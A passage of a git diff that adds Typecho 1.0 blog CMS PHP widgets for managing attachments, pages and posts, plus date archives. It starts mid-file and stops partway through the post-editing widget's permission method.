{ + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($deleteCount > 0 ? _t('文件已经被删除') : _t('没有文件被删除'), + $deleteCount > 0 ? 'success' : 'notice'); + + /** 返回原网页 */ + $this->response->redirect(Typecho_Common::url('manage-medias.php', $this->options->adminUrl)); + } + } + + /** + * clearAttachment + * + * @access public + * @return void + */ + public function clearAttachment() + { + $page = 1; + $deleteCount = 0; + + do { + $posts = Typecho_Common::arrayFlatten($this->db->fetchAll($this->select('cid') + ->from('table.contents') + ->where('type = ? AND parent = ?', 'attachment', 0) + ->page($page, 100)), 'cid'); + $page ++; + + foreach ($posts as $post) { + // 删除插件接口 + $this->pluginHandle()->delete($post, $this); + + $condition = $this->db->sql()->where('cid = ?', $post); + $row = $this->db->fetchRow($this->select() + ->where('table.contents.type = ?', 'attachment') + ->where('table.contents.cid = ?', $post) + ->limit(1), array($this, 'push')); + + if ($this->isWriteable($condition) && $this->delete($condition)) { + /** 删除文件 */ + Widget_Upload::deleteHandle($row); + + /** 删除评论 */ + $this->db->query($this->db->delete('table.comments') + ->where('cid = ?', $post)); + + $status = $this->status; + + // 完成删除插件接口 + $this->pluginHandle()->finishDelete($post, $this); + + $deleteCount ++; + } + + unset($condition); + } + } while (count($posts) == 100); + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($deleteCount > 0 ? _t('未归档文件已经被清理') : _t('没有未归档文件被清理'), + $deleteCount > 0 ? 'success' : 'notice'); + + /** 返回原网页 */ + $this->response->redirect(Typecho_Common::url('manage-medias.php', $this->options->adminUrl)); + } + + /** + * 绑定动作 + * + * @access public + * @return void + */ + public function action() + { + $this->security->protect(); + $this->on($this->request->is('do=delete'))->deleteAttachment(); + $this->on($this->request->is('do=update'))->updateAttachment(); + $this->on($this->request->is('do=clear'))->clearAttachment(); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Related.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Related.php new file mode 100755 index 000000000..61f84b72c --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Related.php @@ -0,0 +1,57 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 文章相关文件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 文章相关文件组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Attachment_Related extends Widget_Abstract_Contents +{ + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $this->parameter->setDefault('parentId=0&limit=0'); + + //如果没有cid值 + if (!$this->parameter->parentId) { + return; + } + + /** 构建基础查询 */ + $select = $this->select()->where('table.contents.type = ?', 'attachment'); + + //order字段在文件里代表所属文章 + $select->where('table.contents.parent = ?', $this->parameter->parentId); + + /** 提交查询 */ + $select->order('table.contents.created', Typecho_Db::SORT_ASC); + + if ($this->parameter->limit > 0) { + $select->limit($this->parameter->limit); + } + + if ($this->parameter->offset > 0) { + $select->offset($this->parameter->offset); + } + + $this->db->fetchAll($select, array($this, 'push')); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Unattached.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Unattached.php new file mode 100755 index 000000000..768bb430a --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Attachment/Unattached.php @@ -0,0 +1,43 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 没有关联的文件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 没有关联的文件组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Attachment_Unattached extends Widget_Abstract_Contents +{ + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 构建基础查询 */ + $select = $this->select()->where('table.contents.type = ? AND + (table.contents.parent = 0 OR table.contents.parent IS NULL)', 'attachment'); + + /** 加上对用户的判断 */ + $this->where('table.contents.authorId = ?', $this->user->uid); + + /** 提交查询 */ + $select->order('table.contents.created', Typecho_Db::SORT_DESC); + + $this->db->fetchAll($select, array($this, 'push')); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Page/Admin.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Page/Admin.php new file mode 100755 index 000000000..e65abfc62 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Page/Admin.php @@ -0,0 +1,52 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 独立页面管理列表 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 独立页面管理列表组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Page_Admin extends Widget_Contents_Post_Admin +{ + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 过滤状态 */ + $select = $this->select()->where('table.contents.type = ? OR (table.contents.type = ? AND table.contents.parent = ?)', 'page', 'page_draft', 0); + + /** 过滤标题 */ + if (NULL != ($keywords = $this->request->keywords)) { + $args = array(); + $keywordsList = explode(' ', $keywords); + $args[] = implode(' OR ', array_fill(0, count($keywordsList), 'table.contents.title LIKE ?')); + + foreach ($keywordsList as $keyword) { + $args[] = '%' . Typecho_Common::filterSearchQuery($keyword) . '%'; + } + + call_user_func_array(array($select, 'where'), $args); + } + + /** 提交查询 */ + $select->order('table.contents.order', Typecho_Db::SORT_ASC); + + $this->db->fetchAll($select, array($this, 'push')); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Page/Edit.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Page/Edit.php new file mode 100755 index 000000000..9b03d2ae0 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Page/Edit.php @@ -0,0 +1,262 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 编辑页面 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 编辑页面组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Page_Edit extends Widget_Contents_Post_Edit implements Widget_Interface_Do +{ + /** + * 自定义字段的hook名称 + * + * @var string + * @access protected + */ + protected $themeCustomFieldsHook = 'themePageFields'; + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 必须为编辑以上权限 */ + $this->user->pass('editor'); + + /** 获取文章内容 */ + if (!empty($this->request->cid) && 'delete' != $this->request->do + && 'sort' != $this->request->do) { + $this->db->fetchRow($this->select() + ->where('table.contents.type = ? OR table.contents.type = ?', 'page', 'page_draft') + ->where('table.contents.cid = ?', $this->request->filter('int')->cid) + ->limit(1), array($this, 'push')); + + if ('page_draft' == $this->status && $this->parent) { + $this->response->redirect(Typecho_Common::url('write-page.php?cid=' . $this->parent, $this->options->adminUrl)); + } + + if (!$this->have()) { + throw new Typecho_Widget_Exception(_t('页面不存在'), 404); + } else if ($this->have() && !$this->allow('edit')) { + throw new Typecho_Widget_Exception(_t('没有编辑权限'), 403); + } + } + } + + /** + * 发布文章 + * + * @access public + * @return void + */ + public function writePage() + { + $contents = $this->request->from('text', 'template', 'allowComment', + 'allowPing', 'allowFeed', 'slug', 'order', 'visibility'); + + $contents['title'] = $this->request->get('title', _t('未命名页面')); + $contents['created'] = $this->getCreated(); + $contents['visibility'] = ('hidden' == $contents['visibility'] ? 'hidden' : 'publish'); + + if ($this->request->markdown && $this->options->markdown) { + $contents['text'] = '<!--markdown-->' . $contents['text']; + } + + $contents = $this->pluginHandle()->write($contents, $this); + + if ($this->request->is('do=publish')) { + /** 重新发布已经存在的文章 */ + $contents['type'] = 'page'; + $this->publish($contents); + + // 完成发布插件接口 + $this->pluginHandle()->finishPublish($contents, $this); + + /** 发送ping */ + $this->widget('Widget_Service')->sendPing($this->cid); + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set(_t('页面 "<a href="%s">%s</a>" 已经发布', $this->permalink, $this->title), 'success'); + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight($this->theId); + + /** 页面跳转 */ + $this->response->redirect(Typecho_Common::url('manage-pages.php?', $this->options->adminUrl)); + } else { + /** 保存文章 */ + $contents['type'] = 'page_draft'; + $this->save($contents); + + // 完成发布插件接口 + $this->pluginHandle()->finishSave($contents, $this); + + if ($this->request->isAjax()) { + $created = new Typecho_Date($this->options->gmtTime); + $this->response->throwJson(array( + 'success' => 1, + 'time' => $created->format('H:i:s A'), + 'cid' => $this->cid + )); + } else { + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set(_t('草稿 "%s" 已经被保存', $this->title), 'success'); + + /** 返回原页面 */ + $this->response->redirect(Typecho_Common::url('write-page.php?cid=' . $this->cid, $this->options->adminUrl)); + } + } + } + + /** + * 删除页面 + * + * @access public + * @return void + */ + public function deletePage() + { + $pages = $this->request->filter('int')->getArray('cid'); + $deleteCount = 0; + + foreach ($pages as $page) { + // 删除插件接口 + $this->pluginHandle()->delete($page, $this); + + if ($this->delete($this->db->sql()->where('cid = ?', $page))) { + /** 删除评论 */ + $this->db->query($this->db->delete('table.comments') + ->where('cid = ?', $page)); + + /** 解除附件关联 */ + $this->unAttach($page); + + /** 解除首页关联 */ + if ($this->options->frontPage == 'page:' . $page) { + $this->db->query($this->db->update('table.options') + ->rows(array('value' => 'recent')) + ->where('name = ?', 'frontPage')); + } + + /** 删除草稿 */ + $draft = $this->db->fetchRow($this->db->select('cid') + ->from('table.contents') + ->where('table.contents.parent = ? AND table.contents.type = ?', + $page, 'page_draft') + ->limit(1)); + + /** 删除自定义字段 */ + $this->deleteFields($page); + + if ($draft) { + $this->deleteDraft($draft['cid']); + $this->deleteFields($draft['cid']); + } + + // 完成删除插件接口 + $this->pluginHandle()->finishDelete($page, $this); + + $deleteCount ++; + } + } + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($deleteCount > 0 ? _t('页面已经被删除') : _t('没有页面被删除'), + $deleteCount > 0 ? 'success' : 'notice'); + + /** 返回原网页 */ + $this->response->goBack(); + } + + /** + * 删除页面所属草稿 + * + * @access public + * @return void + */ + public function deletePageDraft() + { + $pages = $this->request->filter('int')->getArray('cid'); + $deleteCount = 0; + + foreach ($pages as $page) { + /** 删除草稿 */ + $draft = $this->db->fetchRow($this->db->select('cid') + ->from('table.contents') + ->where('table.contents.parent = ? AND table.contents.type = ?', + $page, 'page_draft') + ->limit(1)); + + if ($draft) { + $this->deleteDraft($draft['cid']); + $this->deleteFields($draft['cid']); + $deleteCount ++; + } + } + + /** 设置提示信息 */ + $this->widget('Widget_Notice')->set($deleteCount > 0 ? _t('草稿已经被删除') : _t('没有草稿被删除'), + $deleteCount > 0 ? 'success' : 'notice'); + + /** 返回原网页 */ + $this->response->goBack(); + } + + /** + * 页面排序 + * + * @access public + * @return void + */ + public function sortPage() + { + $pages = $this->request->filter('int')->getArray('cid'); + + if ($pages) { + foreach ($pages as $sort => $cid) { + $this->db->query($this->db->update('table.contents')->rows(array('order' => $sort + 1)) + ->where('cid = ?', $cid)); + } + } + + if (!$this->request->isAjax()) { + /** 转向原页 */ + $this->response->goBack(); + } else { + $this->response->throwJson(array('success' => 1, 'message' => _t('页面排序已经完成'))); + } + } + + /** + * 绑定动作 + * + * @access public + * @return void + */ + public function action() + { + $this->security->protect(); + $this->on($this->request->is('do=publish') || $this->request->is('do=save'))->writePage(); + $this->on($this->request->is('do=delete'))->deletePage(); + $this->on($this->request->is('do=deleteDraft'))->deletePageDraft(); + $this->on($this->request->is('do=sort'))->sortPage(); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Page/List.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Page/List.php new file mode 100755 index 000000000..92580f2f7 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Page/List.php @@ -0,0 +1,45 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 独立页面列表 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 独立页面列表组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Page_List extends Widget_Abstract_Contents +{ + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $select = $this->select()->where('table.contents.type = ?', 'page') + ->where('table.contents.status = ?', 'publish') + ->where('table.contents.created < ?', $this->options->gmtTime) + ->order('table.contents.order', Typecho_Db::SORT_ASC); + + //去掉自定义首页 + $frontPage = explode(':', $this->options->frontPage); + if (2 == count($frontPage) && 'page' == $frontPage[0]) { + $select->where('table.contents.cid <> ?', $frontPage[1]); + } + + $this->db->fetchAll($select, array($this, 'push')); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Admin.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Admin.php new file mode 100755 index 000000000..ae6a14153 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Admin.php @@ -0,0 +1,151 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 文章管理列表 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 文章管理列表组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Post_Admin extends Widget_Abstract_Contents +{ + /** + * 用于计算数值的语句对象 + * + * @access private + * @var Typecho_Db_Query + */ + private $_countSql; + + /** + * 所有文章个数 + * + * @access private + * @var integer + */ + private $_total = false; + + /** + * 当前页 + * + * @access private + * @var integer + */ + private $_currentPage; + + /** + * 当前文章的草稿 + * + * @access protected + * @return array + */ + protected function ___hasSaved() + { + $savedPost = $this->db->fetchRow($this->db->select('cid', 'modified') + ->from('table.contents') + ->where('table.contents.parent = ? AND (table.contents.type = ? OR table.contents.type = ?)', + $this->cid, 'post_draft', 'page_draft') + ->limit(1)); + + if ($savedPost) { + $this->modified = $savedPost['modified']; + return true; + } + + return false; + } + + /** + * 获取菜单标题 + * + * @access public + * @return string + */ + public function getMenuTitle() + { + if (isset($this->request->uid)) { + return _t('%s的文章', $this->db->fetchObject($this->db->select('screenName')->from('table.users') + ->where('uid = ?', $this->request->filter('int')->uid))->screenName); + } + + throw new Typecho_Widget_Exception(_t('用户不存在'), 404); + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $this->parameter->setDefault('pageSize=20'); + $this->_currentPage = $this->request->get('page', 1); + + /** 构建基础查询 */ + $select = $this->select()->where('table.contents.type = ? OR (table.contents.type = ? AND table.contents.parent = ?)', 'post', 'post_draft', 0); + + /** 过滤分类 */ + if (NULL != ($category = $this->request->category)) { + $select->join('table.relationships', 'table.contents.cid = table.relationships.cid') + ->where('table.relationships.mid = ?', $category); + } + + /** 如果具有编辑以上权限,可以查看所有文章,反之只能查看自己的文章 */ + if (!$this->user->pass('editor', true)) { + $select->where('table.contents.authorId = ?', $this->user->uid); + } else if (isset($this->request->uid)) { + $select->where('table.contents.authorId = ?', $this->request->filter('int')->uid); + } + + /** 过滤标题 */ + if (NULL != ($keywords = $this->request->filter('search')->keywords)) { + $args = array(); + $keywordsList = explode(' ', $keywords); + $args[] = implode(' OR ', array_fill(0, count($keywordsList), 'table.contents.title LIKE ?')); + + foreach ($keywordsList as $keyword) { + $args[] = '%' . $keyword . '%'; + } + + call_user_func_array(array($select, 'where'), $args); + } + + /** 给计算数目对象赋值,克隆对象 */ + $this->_countSql = clone $select; + + /** 提交查询 */ + $select->order('table.contents.created', Typecho_Db::SORT_DESC) + ->page($this->_currentPage, $this->parameter->pageSize); + + $this->db->fetchAll($select, array($this, 'push')); + } + + /** + * 输出分页 + * + * @access public + * @return void + */ + public function pageNav() + { + $query = $this->request->makeUriByRequest('page={page}'); + + /** 使用盒状分页 */ + $nav = new Typecho_Widget_Helper_PageNavigator_Box(false === $this->_total ? $this->_total = $this->size($this->_countSql) : $this->_total, + $this->_currentPage, $this->parameter->pageSize, $query); + $nav->render('«', '»'); + } +} + diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Date.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Date.php new file mode 100755 index 000000000..e3de4fb64 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Date.php @@ -0,0 +1,102 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 按日期归档列表组件 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 按日期归档列表组件 + * + * @fixme 交给缓存 + * @author qining + * @category typecho + * @package Widget + */ +class Widget_Contents_Post_Date extends Typecho_Widget +{ + /** + * 全局选项 + * + * @access protected + * @var Widget_Options + */ + protected $options; + + /** + * 数据库对象 + * + * @access protected + * @var Typecho_Db + */ + protected $db; + + /** + * 构造函数,初始化组件 + * + * @access public + * @param mixed $request request对象 + * @param mixed $response response对象 + * @param mixed $params 参数列表 + * @return void + */ + public function __construct($request, $response, $params = NULL) + { + parent::__construct($request, $response, $params); + + /** 初始化数据库 */ + $this->db = Typecho_Db::get(); + + /** 初始化常用组件 */ + $this->options = $this->widget('Widget_Options'); + } + + /** + * 初始化函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 设置参数默认值 */ + $this->parameter->setDefault('format=Y-m&type=month&limit=0'); + + $resource = $this->db->query($this->db->select('created')->from('table.contents') + ->where('type = ?', 'post') + ->where('table.contents.status = ?', 'publish') + ->where('table.contents.created < ?', $this->options->gmtTime) + ->order('table.contents.created', Typecho_Db::SORT_DESC)); + + $offset = $this->options->timezone - $this->options->serverTimezone; + $result = array(); + while ($post = $this->db->fetchRow($resource)) { + $timeStamp = $post['created'] + $offset; + $date = date($this->parameter->format, $timeStamp); + + if (isset($result[$date])) { + $result[$date]['count'] ++; + } else { + $result[$date]['year'] = date('Y', $timeStamp); + $result[$date]['month'] = date('m', $timeStamp); + $result[$date]['day'] = date('d', $timeStamp); + $result[$date]['date'] = $date; + $result[$date]['count'] = 1; + } + } + + if ($this->parameter->limit > 0) { + $result = array_slice($result, 0, $this->parameter->limit); + } + + foreach ($result as $row) { + $row['permalink'] = Typecho_Router::url('archive_' . $this->parameter->type, $row, $this->widget('Widget_Options')->index); + $this->push($row); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Edit.php b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Edit.php new file mode 100755 index 000000000..54107db42 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Contents/Post/Edit.php @@ -0,0 +1,917 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 编辑文章 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 编辑文章组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Contents_Post_Edit extends Widget_Abstract_Contents implements Widget_Interface_Do +{ + /** + * 自定义字段的hook名称 + * + * @var string + * @access protected + */ + protected $themeCustomFieldsHook = 'themePostFields'; + + /** + * 将tags取出 + * + * @access protected + * @return array + */ + protected function ___tags() + { + if ($this->have()) { + return $this->db->fetchAll($this->db + ->select()->from('table.metas') + ->join('table.relationships', 'table.relationships.mid = table.metas.mid') + ->where('table.relationships.cid = ?', $this->cid) + ->where('table.metas.type = ?', 'tag'), array($this->widget('Widget_Abstract_Metas'), 'filter')); + } + + return array(); + } + + /** + * 获取当前时间 + * + * @access protected + * @return Typecho_Date + */ + protected function ___date() + { + return new Typecho_Date($this->options->gmtTime); + } + + /** + * 当前文章的草稿 + * + * @access protected + * @return array + */ + protected function ___draft() + { + if ($this->have()) { + if ('post_draft' == $this->type) { + return $this->row; + } else { + return $this->db->fetchRow($this->widget('Widget_Abstract_Contents')->select() + ->where('table.contents.parent = ? AND (table.contents.type = ? OR table.contents.type = ?)', + $this->cid, 'post_draft', 'page_draft') + ->limit(1), array($this->widget('Widget_Abstract_Contents'), 'filter')); + } + } + + return NULL; + } + + /** + * getFields + * + * @access protected + * @return void + */ + protected function getFields() + { + $fields = array(); + $fieldNames = $this->request->getArray('fieldNames'); + + if (!empty($fieldNames)) { + $data = array( + 'fieldNames' => $this->request->getArray('fieldNames'), + 'fieldTypes' => $this->request->getArray('fieldTypes'), + 'fieldValues' => $this->request->getArray('fieldValues') + ); + foreach ($data['fieldNames'] as $key => $val) { + if (empty($val)) { + continue; + } + + $fields[$val] = array($data['fieldTypes'][$key], $data['fieldValues'][$key]); + } + } + + $customFields = $this->request->getArray('fields'); + if (!empty($customFields)) { + $fields = array_merge($fields, $customFields); + } + + return $fields; + } + + /** + * 根据提交值获取created字段值 + * + * @access protected + * @return integer + */ + protected function getCreated() + { + $created = $this->options->gmtTime; + if (!empty($this->request->created)) { + $created = $this->request->created; + } else if (!empty($this->request->date)) { + $created = strtotime($this->request->date) - $this->options->timezone + $this->options->serverTimezone; + } else if (!empty($this->request->year) && !empty($this->request->month) && !empty($this->request->day)) { + $second = intval($this->request->get('sec', date('s'))); + $min = intval($this->request->get('min', date('i'))); + $hour = intval($this->request->get('hour', date('H'))); + + $year = intval($this->request->year); + $month = intval($this->request->month); + $day = intval($this->request->day); + + $created = mktime($hour, $min, $second, $month, $day, $year) - $this->options->timezone + $this->options->serverTimezone; + } else if ($this->request->is('cid')) { + //如果是修改文章 + $created = $this->created; + } + + return $created; + } + + /** + * 同步附件 + * + * @access protected + * @param integer $cid 内容id + * @return void + */ + protected function attach($cid) + { + $attachments = $this->request->getArray('attachment'); + if (!empty($attachments)) { + foreach ($attachments as $key => $attachment) { + $this->db->query($this->db->update('table.contents')->rows(array('parent' => $cid, 'status' => 'publish', + 'order' => $key + 1))->where('cid = ? AND type = ?', $attachment, 'attachment')); + } + } + } + + /** + * 取消附件关联 + * + * @access protected + * @param integer $cid 内容id + * @return void + */ + protected function unAttach($cid) + { + $this->db->query($this->db->update('table.contents')->rows(array('parent' => 0, 'status' => 'publish')) + ->where('parent = ? AND type = ?', $cid, 'attachment')); + } + + /** + * 获取页面偏移的URL Query + * + * @access protected + * @param integer $created 创建时间 + * @param string $status 状态 + * @return string + */ + protected function getPageOffsetQuery($created, $status = NULL) + { + return 'page=' . $this->getPageOffset('created', $created, 'post', $status, + 'on' == $this->request->__typecho_all_posts ? 0 : $this->user->uid); + } + + /** + * 删除草稿 + * + * @access protected + * @param integer $cid 草稿id + * @return void + */ + protected function deleteDraft($cid) + { + $this->delete($this->db->sql()->where('cid = ?', $cid)); + + /** 删除草稿分类 */ + $this->setCategories($cid, array(), false, false); + + /** 删除标签 */ + $this->setTags($cid, NULL, false, false); + } + + /** + * 发布内容 + * + * @access protected + * @param array $contents 内容结构 + * @return void + */ + protected function publish(array $contents) + { + /** 发布内容, 检查是否具有直接发布的权限 */ + if ($this->user->pass('editor', true)) { + if (empty($contents['visibility'])) { + $contents['status'] = 'publish'; + } else if ('password' == $contents['visibility'] || !in_array($contents['visibility'], array('private', 'waiting', 'publish', 'hidden'))) { + if (empty($contents['password']) || 'password' != $contents['visibility']) { + $contents['password'] = ''; + } + $contents['status'] = 'publish'; + } else { + $contents['status'] = $contents['visibility']; + $contents['password'] = ''; + } + } else { + $contents['status'] = 'waiting'; + $contents['password'] = ''; + } + + /** 真实的内容id */ + $realId = 0; + + /** 是否是从草稿状态发布 */ + $isDraftToPublish = ('post_draft' == $this->type); + + $isBeforePublish = ('publish' == $this->status); + $isAfterPublish = ('publish' == $contents['status']); + + /** 重新发布现有内容 */ + if ($this->have()) { + + /** 如果它本身不是草稿, 需要删除其草稿 */ + if (!$isDraftToPublish && $this->draft) { + $this->deleteDraft($this->draft['cid']); + $this->deleteFields($this->draft['cid']); + } + + /** 直接将草稿状态更改 */ + if ($this->update($contents, $this->db->sql()->where('cid = ?', $this->cid))) { + $realId = $this->cid; + } + + } else { + /** 发布一个新内容 */ + $realId = $this->insert($contents); + } + + if ($realId > 0) { + /** 插入分类 */ + if (array_key_exists('category', $contents)) { + $this->setCategories($realId, !empty($contents['category']) && is_array($contents['category']) ? + $contents['category'] : array($this->options->defaultCategory), !$isDraftToPublish && $isBeforePublish, $isAfterPublish); + } + + /** 插入标签 */ + if (array_key_exists('tags', $contents)) { + $this->setTags($realId, $contents['tags'], !$isDraftToPublish && $isBeforePublish, $isAfterPublish); + } + + /** 同步附件 */ + $this->attach($realId); + + /** 保存自定义字段 */ + $this->applyFields($this->getFields(), $realId); + + $this->db->fetchRow($this->select()->where('table.contents.cid = ?', $realId)->limit(1), array($this, 'push')); + } + } + + /** + * 保存内容 + * + * @access protected + * @param array $contents 内容结构 + * @return void + */ + protected function save(array $contents) + { + /** 发布内容, 检查是否具有直接发布的权限 */ + if ($this->user->pass('editor', true)) { + if (empty($contents['visibility'])) { + $contents['status'] = 'publish'; + } else if ('password' == $contents['visibility'] || !in_array($contents['visibility'], array('private', 'waiting', 'publish', 'hidden'))) { + if (empty($contents['password']) || 'password' != $contents['visibility']) { + $contents['password'] = ''; + } + $contents['status'] = 'publish'; + } else { + $contents['status'] = $contents['visibility']; + $contents['password'] = ''; + } + } else { + $contents['status'] = 'waiting'; + $contents['password'] = ''; + } + + /** 真实的内容id */ + $realId = 0; + + /** 如果草稿已经存在 */ + if ($this->draft) { + + /** 直接将草稿状态更改 */ + if ($this->update($contents, $this->db->sql()->where('cid = ?', $this->draft['cid']))) { + $realId = $this->draft['cid']; + } + + } else { + if ($this->have()) { + $contents['parent'] = $this->cid; + } + + /** 发布一个新内容 */ + $realId = $this->insert($contents); + + if (!$this->have()) { + $this->db->fetchRow($this->select()->where('table.contents.cid = ?', $realId)->limit(1), array($this, 'push')); + } + } + + if ($realId > 0) { + //$this->db->fetchRow($this->select()->where('table.contents.cid = ?', $realId)->limit(1), array($this, 'push')); + + /** 插入分类 */ + if (array_key_exists('category', $contents)) { + $this->setCategories($realId, !empty($contents['category']) && is_array($contents['category']) ? + $contents['category'] : array($this->options->defaultCategory), false, false); + } + + /** 插入标签 */ + if (array_key_exists('tags', $contents)) { + $this->setTags($realId, $contents['tags'], false, false); + } + + /** 同步附件 */ + $this->attach($this->cid); + + /** 保存自定义字段 */ + $this->applyFields($this->getFields(), $realId); + } + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + /** 必须为贡献者以上权限 */ + $this->user->pass('contributor'); + + /** 获取文章内容 */ + if (!empty($this->request->cid) && 'delete' != $this->request->do) { + $this->db->fetchRow($this->select() + ->where('table.contents.type = ? OR table.contents.type = ?', 'post', 'post_draft') + ->where('table.contents.cid = ?', $this->request->filter('int')->cid) + ->limit(1), array($this, 'push')); + + if ('post_draft' == $this->type && $this->parent) { + $this->response->redirect(Typecho_Common::url('write-post.php?cid=' . $this->parent, $this->options->adminUrl)); + } + + if (!$this->have()) { + throw new Typecho_Widget_Exception(_t('文章不存在'), 404); + } else if ($this->have() && !$this->allow('edit')) { + throw new Typecho_Widget_Exception(_t('没有编辑权限'), 403); + } + } + } + + /** + * 过滤堆栈 + * + * @access public + * @param array $value 每行的值 + * @return array + */ + public function filter(array $value) + { + if ('post' == $value['type'] || 'page' == $value['type']) { + $draft = $this->db->fetchRow($this->widget('Widget_Abstract_Contents')->select() + ->where('table.contents.parent = ? AND table.contents.type = ?', + $value['cid'], $value['type'] . '_draft') + ->limit(1)); + + if (!empty($draft)) { + $draft['slug'] = ltrim($draft['slug'], '@'); + $draft['type'] = $value['type']; + + $draft = parent::filter($draft); + + $draft['tags'] = $this->db->fetchAll($this->db + ->select()->from('table.metas') + ->join('table.relationships', 'table.relationships.mid = table.metas.mid') + ->where('table.relationships.cid = ?', $draft['cid']) + ->where('table.metas.type = ?', 'tag'), array($this->widget('Widget_Abstract_Metas'), 'filter')); + $draft['cid'] = $value['cid']; + + return $draft; + } + } + + return parent::filter($value); + } + + /** + * 输出文章发布日期 + * + * @access public + * @param string $format 日期格式 + * @return void + */ + public function date($format = NULL) + { + if (isset($this->created)) { + parent::date($format); + } else { + echo date($format, $this->options->gmtTime + $this->options->timezone - $this->options->serverTimezone); + } + } + + /** + * 获取文章权限 + * + * @access public + * @param string $permission 权限 + * @return unknown + */ + public function allow() + { + $permissions = func_get_args(); + $allow = true; + + foreach ($permissions as $permission) { + $permission = strtolower($permission); + + if ('edit' == $permission) { + $allow &= ($this->user->pass('editor', true) || $this->authorId == $this->user->uid); + } else { + 